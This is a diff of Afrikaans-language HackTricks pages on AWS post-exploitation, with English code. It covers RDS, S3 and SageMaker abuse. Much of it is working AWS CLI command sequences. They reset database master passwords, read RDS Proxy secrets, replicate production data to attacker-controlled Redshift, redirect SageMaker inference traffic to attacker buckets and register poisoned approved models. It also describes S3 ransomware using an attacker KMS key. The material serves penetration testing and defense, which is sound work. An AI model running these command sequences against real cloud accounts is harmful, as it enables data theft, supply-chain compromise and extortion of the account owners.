# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
@@ -305,12 +305,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
Voorbeeldbewyse (MySQL):
|
||||
- Replica DB-status: `available`, leesreplikasie: `replicating`
|
||||
- Suksesvolle konneksie met nuwe wagwoord en `@@read_only=1` wat lees-alleen replica-toegang bevestig.
|
||||
- Replica DB-status: `available`, read replication: `replicating`
|
||||
- Suksesvolle verbinding met nuwe wagwoord en `@@read_only=1` wat lees‑alleen replica-toegang bevestig.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
Misbruik RDS Blue/Green om 'n produksie-DB te kloon in 'n deurlopend gereplikeerde, lees-alleen green-omgewing. Herstel dan die green master-kredensiale om toegang tot die data te kry sonder om die blue (prod) instansie aan te raak. Dit is meer onopvallend as snapshot sharing en omseil dikwels monitering wat slegs op die bron gefokus is.
|
||||
Misbruik RDS Blue/Green om 'n produksie DB te kloon in 'n deurlopend gereplikeerde, lees‑alleen green-omgewing. Herstel dan die green-master credentials om toegang tot die data te kry sonder om die blue (prod) instance aan te raak. Hierdie is minder sigbaar as snapshot sharing en omseil dikwels monitering wat slegs op die bron fokus.
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
@@ -357,22 +357,22 @@ aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
Impak: Lees-alleen, maar volle databeskikbaarheid tot 'n byna regstreekse kloon van produksie sonder om die produksie-instansie te wysig. Nuttig vir sluipende data-uittrekking en aflyn-analise.
|
||||
Impak: Slegs lees maar volle data-toegang tot 'n byna-reële-tyd kloon van produksie sonder om die produksie-instansie te wysig. Nuttig vir stilletjies data-ekstraksie en aflyn-analise.
|
||||
|
||||
|
||||
### Out-of-band SQL via RDS Data API deur die HTTP-endpoint te aktiveer + die master password terug te stel
|
||||
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
|
||||
|
||||
Misbruik Aurora om die RDS Data API HTTP-endpoint op 'n teiken-kluster te aktiveer, die master password te herstel na 'n waarde wat jy beheer, en SQL oor HTTPS uit te voer (geen VPC-netwerkpad benodig nie). Werk op Aurora engines wat die Data API/EnableHttpEndpoint ondersteun (bv. Aurora MySQL 8.0 provisioned; sommige Aurora PostgreSQL/MySQL weergawes).
|
||||
Misbruik Aurora om die RDS Data API HTTP-endpoint op 'n teiken-kluster te aktiveer, die master-wagwoord na 'n waarde wat jy beheer te herstel, en voer SQL oor HTTPS uit (geen VPC-netwerkpad benodig nie). Werk op Aurora engines wat die Data API/EnableHttpEndpoint ondersteun (e.g., Aurora MySQL 8.0 provisioned; sommige Aurora PostgreSQL/MySQL weergawes).
|
||||
|
||||
Permissions (minimum):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
- rds-data:ExecuteStatement (en rds-data:BatchExecuteStatement indien gebruik)
|
||||
|
||||
Impak: Omseil netwerkskeiding en eksfiltreer data via AWS APIs sonder direkte VPC-konneksie na die DB.
|
||||
Impak: Omseil netwerksegmentering en exfiltrate data via AWS APIs sonder direkte VPC-verbinding na die DB.
|
||||
|
||||
<details>
|
||||
<summary>End-to-end CLI (Aurora MySQL voorbeeld)</summary>
|
||||
<summary>Eind-tot-eind CLI (Aurora MySQL voorbeeld)</summary>
|
||||
```bash
|
||||
# 1) Identify target cluster ARN
|
||||
REGION=us-east-1
|
||||
@@ -425,21 +425,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
</details>
|
||||
|
||||
Aantekeninge:
|
||||
- As multi-statement SQL deur `rds-data` geweier word, voer aparte `execute-statement`-oproepe uit.
|
||||
- Vir enjinne waar `modify-db-cluster --enable-http-endpoint` geen effek het nie, gebruik `rds enable-http-endpoint --resource-arn`.
|
||||
- Maak seker die enjin/weergawe ondersteun werklik die `Data API`; anders sal `HttpEndpointEnabled` op `False` bly.
|
||||
- As multi-statement SQL deur rds-data verwerp word, stuur afsonderlike execute-statement-oproepe.
|
||||
- Vir enjinne waar modify-db-cluster --enable-http-endpoint geen uitwerking het nie, gebruik rds enable-http-endpoint --resource-arn.
|
||||
- Verseker dat die enjin/weergawe werklik die Data API ondersteun; anders sal HttpEndpointEnabled op False bly.
|
||||
|
||||
|
||||
### Verkry DB-credentials via RDS Proxy auth-sekrete (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
### Verkry DB-kredensiële via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
Misbruik RDS Proxy-konfigurasie om die Secrets Manager-secret wat vir backend-verifikasie gebruik word te ontdek, en lees dan die secret om databasis-credentials te bekom. Baie omgewings verleen uitgebreide `secretsmanager:GetSecretValue`, wat dit 'n lae-wrywing pivot na DB-creds maak. As die secret 'n CMK gebruik, kan verkeerd-afgebakende KMS-magtigings ook `kms:Decrypt` toelaat.
|
||||
Misbruik RDS Proxy-konfigurasie om die Secrets Manager-secret wat vir backend-verifikasie gebruik word te ontdek, en lees dan die geheim om databank-kredensiële te verkry. Baie omgewings verleen uitgebreide `secretsmanager:GetSecretValue`, wat dit 'n lae-wrywing pivot na DB-kredensiële maak. As die geheim 'n CMK gebruik, kan verkeerd-gescopeerde KMS-magtigings ook `kms:Decrypt` toelaat.
|
||||
|
||||
Vereiste permissies (minimum):
|
||||
Benodigde permissies (minimum):
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` op die verwysde SecretArn
|
||||
- Opsioneel as die secret 'n CMK gebruik: `kms:Decrypt` op daardie sleutel
|
||||
- `secretsmanager:GetSecretValue` on the referenced SecretArn
|
||||
- Optional when the secret uses a CMK: `kms:Decrypt` on that key
|
||||
|
||||
Impak: Onmiddellike openbaarmaking van die DB gebruikersnaam/wagwoord wat op die proxy gekonfigureer is; maak direkte DB-toegang of verdere laterale beweging moontlik.
|
||||
Impact: Onmiddellike openbaarmaking van die DB-gebruikersnaam/wagwoord wat op die proxy gekonfigureer is; stel direkte DB-toegang of verdere laterale beweging in staat.
|
||||
|
||||
Stappe
|
||||
```bash
|
||||
@@ -480,11 +480,11 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### Onopgemerkde deurlopende eksfiltrasie via Aurora zero‑ETL na Amazon Redshift (rds:CreateIntegration)
|
||||
### Stilswyende deurlopende eksfiltrasie via Aurora zero‑ETL na Amazon Redshift (rds:CreateIntegration)
|
||||
|
||||
Misbruik Aurora PostgreSQL zero‑ETL-integrasie om produksiedata deurlopend te repliseer na 'n Redshift Serverless namespace wat jy beheer. Met 'n permissiewe Redshift resource policy wat CreateInboundIntegration/AuthorizeInboundIntegration vir 'n spesifieke Aurora cluster ARN magtig, kan 'n aanvaller 'n byna-real-time datakopie opstel sonder DB creds, snapshots of netwerkblootstelling.
|
||||
Misbruik Aurora PostgreSQL zero‑ETL integration om produksiedata deurlopend na 'n Redshift Serverless namespace wat jy beheer te repliseer. Met 'n permissiewe Redshift resource policy wat CreateInboundIntegration/AuthorizeInboundIntegration magtig vir 'n spesifieke Aurora cluster ARN, kan 'n aanvaller 'n byna regstreekse datakopie vestig sonder DB creds, snapshots of netwerkblootstelling.
|
||||
|
||||
Benodigde permissies (minimum):
|
||||
Benodigde bevoegdhede (minimum):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
|
||||
@@ -493,7 +493,7 @@ Benodigde permissies (minimum):
|
||||
Getoets op: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
<details>
|
||||
<summary>1) Skep Redshift Serverless namespace + werkgroep</summary>
|
||||
<summary>1) Skep Redshift Serverless namespace + workgroup</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
|
||||
@@ -540,7 +540,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Skep Aurora PostgreSQL kluster (aktiveer Data API en logiese replikasie)</summary>
|
||||
<summary>3) Skep Aurora PostgreSQL cluster (aktiveer Data API en logiese replisering)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
@@ -571,7 +571,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>4) Skep die zero‑ETL-integrasie vanaf RDS</summary>
|
||||
<summary>4) Skep die zero‑ETL-integrasie van RDS</summary>
|
||||
```bash
|
||||
# Include all tables in the default 'postgres' database
|
||||
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
|
||||
@@ -583,7 +583,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>5) Materialiseer en opvra gerepliseerde data in Redshift</summary>
|
||||
<summary>5) Materialiseer en bevraag gerepliseerde data in Redshift</summary>
|
||||
```bash
|
||||
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
@@ -596,12 +596,12 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
|
||||
```
|
||||
</details>
|
||||
|
||||
Bewyse waargeneem tydens die toets:
|
||||
Bewyse wat tydens die toets waargeneem is:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION het integration_id 377a462b-c42c-4f08-937b-77fe75d98211 en state PendingDbConnectState getoon prior to DB creation.
|
||||
- Na CREATE DATABASE FROM INTEGRATION het die lys van tabelle die skema ztl en tabel customers getoon; seleksie van ztl.customers het 2 rye teruggegee (Alice, Bob).
|
||||
- SVV_INTEGRATION het integration_id 377a462b-c42c-4f08-937b-77fe75d98211 en state PendingDbConnectState getoon voor die skep van die databasis.
|
||||
- Nadat CREATE DATABASE FROM INTEGRATION uitgevoer is, het die lys van tabelle die skema ztl en tabel customers getoon; die seleksie vanaf ztl.customers het 2 rye teruggegee (Alice, Bob).
|
||||
|
||||
Impak: Deurlopende byna-regstreekse exfiltration van geselekteerde Aurora PostgreSQL tables na Redshift Serverless wat deur die aanvaller beheer word, sonder om database credentials, backups, of network access tot die source cluster te gebruik.
|
||||
Impak: Deurlopende byna-reële-tyd exfiltration van geselekteerde Aurora PostgreSQL-tabelle na Redshift Serverless onder beheer van die aanvaller, sonder om databasis-inlogbewyse, rugsteunkopieë of netwerktoegang tot die bronkluster te gebruik.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,38 +0,0 @@
|
||||
# AWS - S3 Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Sensitiewe Inligting
|
||||
|
||||
Soms sal jy in staat wees om sensitiewe inligting in leesbare vorm in die emmers te vind. Byvoorbeeld, terraform staat geheime.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Verskillende platforms kan S3 gebruik om sensitiewe bates te stoor.\
|
||||
Byvoorbeeld, **airflow** kan **DAGs** **kode** daarin stoor, of **webbladsye** kan direk van S3 bedien word. 'n Aanvaller met skryfrechten kan die **kode** van die emmer **wysig** om na ander platforms te **pivot** of **rekening oor te neem** deur JS-lêers te wysig.
|
||||
|
||||
### S3 Ransomware
|
||||
|
||||
In hierdie scenario, die **aanvaller skep 'n KMS (Key Management Service) sleutel in hul eie AWS-rekening** of 'n ander gecompromitteerde rekening. Hulle maak hierdie **sleutel beskikbaar vir enige iemand in die wêreld**, wat enige AWS-gebruiker, rol, of rekening toelaat om voorwerpe met hierdie sleutel te enkripteer. Die voorwerpe kan egter nie gedekripteer word nie.
|
||||
|
||||
Die aanvaller identifiseer 'n teiken **S3-emmer en verkry skryfniveau toegang** daartoe deur verskeie metodes. Dit kan wees as gevolg van swak emmerkonfigurasie wat dit publiek blootstel of die aanvaller wat toegang tot die AWS-omgewing self verkry. Die aanvaller teiken gewoonlik emmers wat sensitiewe inligting bevat soos persoonlik identifiseerbare inligting (PII), beskermde gesondheidsinligting (PHI), logs, rugsteun, en meer.
|
||||
|
||||
Om te bepaal of die emmer geteiken kan word vir ransomware, kontroleer die aanvaller die konfigurasie daarvan. Dit sluit in om te verifieer of **S3 Object Versioning** geaktiveer is en of **multi-factor authentication delete (MFA delete) geaktiveer is**. As Object Versioning nie geaktiveer is nie, kan die aanvaller voortgaan. As Object Versioning geaktiveer is maar MFA delete gedeaktiveer is, kan die aanvaller **Object Versioning deaktiveer**. As beide Object Versioning en MFA delete geaktiveer is, word dit moeiliker vir die aanvaller om daardie spesifieke emmer te ransomware.
|
||||
|
||||
Met die AWS API, die aanvaller **vervang elke voorwerp in die emmer met 'n geënkripteerde kopie met hul KMS-sleutel**. Dit enkripteer effektief die data in die emmer, wat dit ontoeganklik maak sonder die sleutel.
|
||||
|
||||
Om verdere druk te plaas, skeduleer die aanvaller die verwydering van die KMS-sleutel wat in die aanval gebruik is. Dit gee die teiken 'n 7-dae venster om hul data te herstel voordat die sleutel verwyder word en die data permanent verlore gaan.
|
||||
|
||||
Laastens, die aanvaller kan 'n finale lêer oplaai, gewoonlik genaamd "ransom-note.txt," wat instruksies vir die teiken bevat oor hoe om hul lêers te herwin. Hierdie lêer word sonder enkripsie opgelaai, waarskynlik om die teiken se aandag te trek en hulle bewus te maak van die ransomware-aanval.
|
||||
|
||||
**Vir meer inligting** [**kyk na die oorspronklike navorsing**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+38
@@ -0,0 +1,38 @@
|
||||
# AWS - S3 Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Sensitiewe Inligting
|
||||
|
||||
Soms sal jy sensitiewe inligting leesbaar in die buckets vind. Byvoorbeeld, terraform state secrets.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Verskillende platforms kan S3 gebruik om sensitiewe bates te stoor.\
|
||||
Byvoorbeeld, **airflow** kan **DAGs** **code** daar stoor, of **web pages** kan direk vanaf S3 bedien word. 'n Aanvaller met write-permissions kan die **code** in die bucket wysig om na ander platforms te **pivot**, of **takeover accounts** deur JS-lêers te wysig.
|
||||
|
||||
### S3 Ransomware
|
||||
|
||||
In hierdie scenario skep die **aanvaller 'n KMS (Key Management Service) sleutel in hul eie AWS account** of in 'n ander gekompromitteerde account. Hulle maak hierdie **sleutel dan toeganklik vir enigiemand in die wêreld**, wat enige AWS user, role, of account toelaat om objects te enkripteer met hierdie sleutel. Die objects kan egter nie gedekripteer word nie.
|
||||
|
||||
Die aanvaller identifiseer 'n teiken **S3 bucket en verkry write-level access** daartoe deur verskeie metodes. Dit kan wees as gevolg van swak bucket-konfigurasie wat dit publiek blootstel of omdat die aanvaller toegang tot die AWS-omgewing self kry. Die aanvaller mik gewoonlik na buckets wat sensitiewe inligting bevat soos personally identifiable information (PII), protected health information (PHI), logs, backups, en meer.
|
||||
|
||||
Om te bepaal of die bucket vir ransomware geteiken kan word, kontroleer die aanvaller die konfigurasie daarvan. Dit sluit in om te verifieer of **S3 Object Versioning** geaktiveer is en of **multi-factor authentication delete (MFA delete) geaktiveer is**. As Object Versioning nie aangeskakel is nie, kan die aanvaller voortgaan. As Object Versioning aangeskakel is maar MFA delete gedeaktiveer is, kan die aanvaller **Object Versioning deaktiveer**. As beide Object Versioning en MFA delete aangeskakel is, word dit moeiliker vir die aanvaller om daardie spesifieke bucket met ransomware te teiken.
|
||||
|
||||
Deur die AWS API te gebruik, vervang die aanvaller **elke object in die bucket met 'n enkripteerde kopie wat hul KMS sleutel gebruik**. Dit enkripteer effektief die data in die bucket, en maak dit ontoeganklik sonder die sleutel.
|
||||
|
||||
Om verdere druk te plaas, skeduleer die aanvaller die verwydering van die KMS sleutel wat in die aanval gebruik is. Dit gee die teiken 'n 7-dae venster om hul data te herstel voordat die sleutel verwyder word en die data permanent verlore is.
|
||||
|
||||
Laastens kan die aanvaller 'n finale lêer oplaai, gewoonlik genaamd "ransom-note.txt", wat instruksies vir die teiken bevat oor hoe om hul lêers te herstel. Hierdie lêer word sonder enkripsie opgelaai, waarskynlik om die teiken se aandag te trek en hulle bewus te maak van die ransomware-aanval.
|
||||
|
||||
**Vir meer info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+177
@@ -0,0 +1,177 @@
|
||||
# AWS - SageMaker Post-Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SageMaker-eindpunt data‑aftap via UpdateEndpoint DataCaptureConfig
|
||||
|
||||
Misbruik SageMaker endpoint‑bestuur om volledige request/response capture na 'n attacker‑controlled S3 bucket moontlik te maak sonder om die model of container aan te raak. Gebruik 'n zero/low‑downtime rolling update en vereis slegs endpoint‑management permissions.
|
||||
|
||||
### Vereistes
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: `s3:CreateBucket` (of gebruik 'n bestaande bucket in dieselfde account)
|
||||
- Opsioneel (as SSE‑KMS gebruik): `kms:Encrypt` op die gekose CMK
|
||||
- Teiken: 'n bestaande InService real‑time endpoint in dieselfde account/region
|
||||
|
||||
### Stappe
|
||||
1) Identifiseer 'n InService endpoint en versamel huidige produksie-variantes
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
|
||||
echo "Endpoint=$EP"
|
||||
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
echo "EndpointConfig=$CFG"
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Berei die aanvaller se S3-bestemming voor vir opnames
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-capture-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
```
|
||||
3) Skep 'n nuwe EndpointConfig wat dieselfde variante behou maar DataCapture na die attacker bucket inskakel
|
||||
|
||||
Let wel: Gebruik eksplisiete inhoudstipes wat aan die CLI-validering voldoen.
|
||||
```bash
|
||||
NEWCFG=${CFG}-dc
|
||||
cat > /tmp/dc.json << JSON
|
||||
{
|
||||
"EnableCapture": true,
|
||||
"InitialSamplingPercentage": 100,
|
||||
"DestinationS3Uri": "s3://$BUCKET/capture",
|
||||
"CaptureOptions": [
|
||||
{"CaptureMode": "Input"},
|
||||
{"CaptureMode": "Output"}
|
||||
],
|
||||
"CaptureContentTypeHeader": {
|
||||
"JsonContentTypes": ["application/json"],
|
||||
"CsvContentTypes": ["text/csv"]
|
||||
}
|
||||
}
|
||||
JSON
|
||||
aws sagemaker create-endpoint-config \
|
||||
--region $REGION \
|
||||
--endpoint-config-name "$NEWCFG" \
|
||||
--production-variants file:///tmp/pv.json \
|
||||
--data-capture-config file:///tmp/dc.json
|
||||
```
|
||||
4) Pas die nuwe config toe met 'n rolling update (minimale/geen downtime)
|
||||
```bash
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
5) Genereer ten minste een inferensie-aanroep (opsioneel as daar lewende verkeer is)
|
||||
```bash
|
||||
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
|
||||
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
|
||||
--content-type application/json --accept application/json \
|
||||
--body fileb:///tmp/payload.json /tmp/out.bin || true
|
||||
```
|
||||
6) Valideer captures in attacker S3
|
||||
```bash
|
||||
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
|
||||
```
|
||||
### Impak
|
||||
- Volledige eksfiltrasie van real‑time inference request- en response‑payloads (en metadata) vanaf die geteikende endpoint na 'n deur die aanvaller beheerde S3 bucket.
|
||||
- Geen veranderinge aan die model/container image nie en slegs endpoint‑vlak veranderinge, wat 'n stealthy data theft path moontlik maak met minimale operasionele ontwrigting.
|
||||
|
||||
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
|
||||
|
||||
Misbruik endpoint management om asynchronous inference outputs na 'n deur die aanvaller beheerde S3 bucket te herlei deur die huidige EndpointConfig te kloon en AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath te stel. Dit eksfiltreer model predictions (en enige transformed inputs ingesluit deur die container) sonder om die model/container te wysig.
|
||||
|
||||
### Vereistes
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: Vermoë om te skryf na die deur die aanvaller beheerde S3 bucket (via die model execution role of 'n permissive bucket policy)
|
||||
- Teiken: 'n InService endpoint waar asynchronous invocations gebruik word (of gebruik sal word)
|
||||
|
||||
### Stappe
|
||||
1) Versamel huidige ProductionVariants van die teiken endpoint
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=<target-endpoint-name>
|
||||
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Skep 'n attacker bucket (verseker dat die model execution role PutObject daarna kan doen)
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION || true
|
||||
```
|
||||
3) Kloon EndpointConfig en hijack AsyncInference uitsette na die attacker bucket
|
||||
```bash
|
||||
NEWCFG=${CUR_CFG}-async-exfil
|
||||
cat > /tmp/async_cfg.json << JSON
|
||||
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
|
||||
JSON
|
||||
aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
4) Ontlok 'n async invocation en verifieer dat objekte in attacker S3 beland
|
||||
```bash
|
||||
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
|
||||
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
|
||||
sleep 30
|
||||
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
|
||||
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
|
||||
```
|
||||
### Impak
|
||||
- Leid asinchrone inference-resultate (en foutliggame) na S3 wat deur die aanvaller beheer word, wat geheime eksfiltrasie van voorspellingen en potensieel sensitiewe pre-/post-verwerkte insette wat deur die container geproduseer is, moontlik maak, sonder om modelkode of image te verander en met minimale of geen stilstand nie.
|
||||
|
||||
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
|
||||
|
||||
If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the service’s execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy.
|
||||
|
||||
### Vereistes
|
||||
- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
|
||||
- Opsioneel (om 'n groep te skep indien een nie bestaan nie): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: Lees toegang tot die verwysde ModelDataUrl (of huisves aanvaller-beheerde artefakte)
|
||||
- Teiken: 'n Model Package Group wat downstream-automatisering dophou vir Approved weergawes
|
||||
|
||||
### Stappe
|
||||
1) Stel region en skep/vind 'n teiken Model Package Group
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=victim-group-$(date +%s)
|
||||
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
|
||||
```
|
||||
2) Berei proefmodeldata in S3 voor
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
head -c 1024 </dev/urandom > /tmp/model.tar.gz
|
||||
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
|
||||
```
|
||||
3) Registreer 'n kwaadwillige (hier onskadelike) Approved model package version wat verwys na 'n publieke AWS DLC image
|
||||
```bash
|
||||
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
|
||||
cat > /tmp/inf.json << JSON
|
||||
{
|
||||
"Containers": [
|
||||
{
|
||||
"Image": "$IMG",
|
||||
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
|
||||
}
|
||||
],
|
||||
"SupportedContentTypes": ["text/csv"],
|
||||
"SupportedResponseMIMETypes": ["text/csv"]
|
||||
}
|
||||
JSON
|
||||
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
|
||||
```
|
||||
4) Bevestig dat die nuwe 'Approved' weergawe bestaan
|
||||
```bash
|
||||
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
|
||||
```
|
||||
### Impak
|
||||
- Poison die Model Registry met 'n Approved-weergawe wat verwys na attacker-controlled code. Pipelines wat Approved models outo-deploy mag die attacker image aflaai en uitvoer, wat code execution onder endpoint/training roles tot gevolg kan hê.
|
||||
- Met 'n permissiewe ModelPackageGroup resource policy (PutModelPackageGroupPolicy) kan hierdie misbruik cross-account getrigger word.
|
||||
|
||||
## Feature store poisoning
|
||||
|
||||
Misbruik `sagemaker:PutRecord` op 'n Feature Group met OnlineStore aangeskakel om lewendige feature-waardes wat deur online inference verbruik word, oor te skryf. Gekombineer met `sagemaker:GetRecord` kan 'n attacker sensitiewe features lees. Dit vereis nie toegang tot models of endpoints nie.
|
||||
|
||||
{{#ref}}
|
||||
feature-store-poisoning.md
|
||||
{{/ref}}
|
||||
+50
@@ -0,0 +1,50 @@
|
||||
# SageMaker Feature Store online store poisoning
|
||||
|
||||
Misbruik `sagemaker:PutRecord` op 'n Feature Group met OnlineStore geaktiveer om lewendige feature-waardes wat deur online inference verbruik word te oorskryf. Gecombineer met `sagemaker:GetRecord` kan 'n aanvaller sensitiewe features lees. Dit vereis nie toegang tot models of endpoints nie.
|
||||
|
||||
## Vereistes
|
||||
- Permissies: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- Teiken: Feature Group met OnlineStore geaktiveer (gewoonlik vir real-time inference)
|
||||
|
||||
## Stappe
|
||||
1) Kies of skep 'n klein Online Feature Group vir toetsing
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
|
||||
if [ -z "$FG" -o "$FG" = "None" ]; then
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
FG=ht-fg-$ACC-$(date +%s)
|
||||
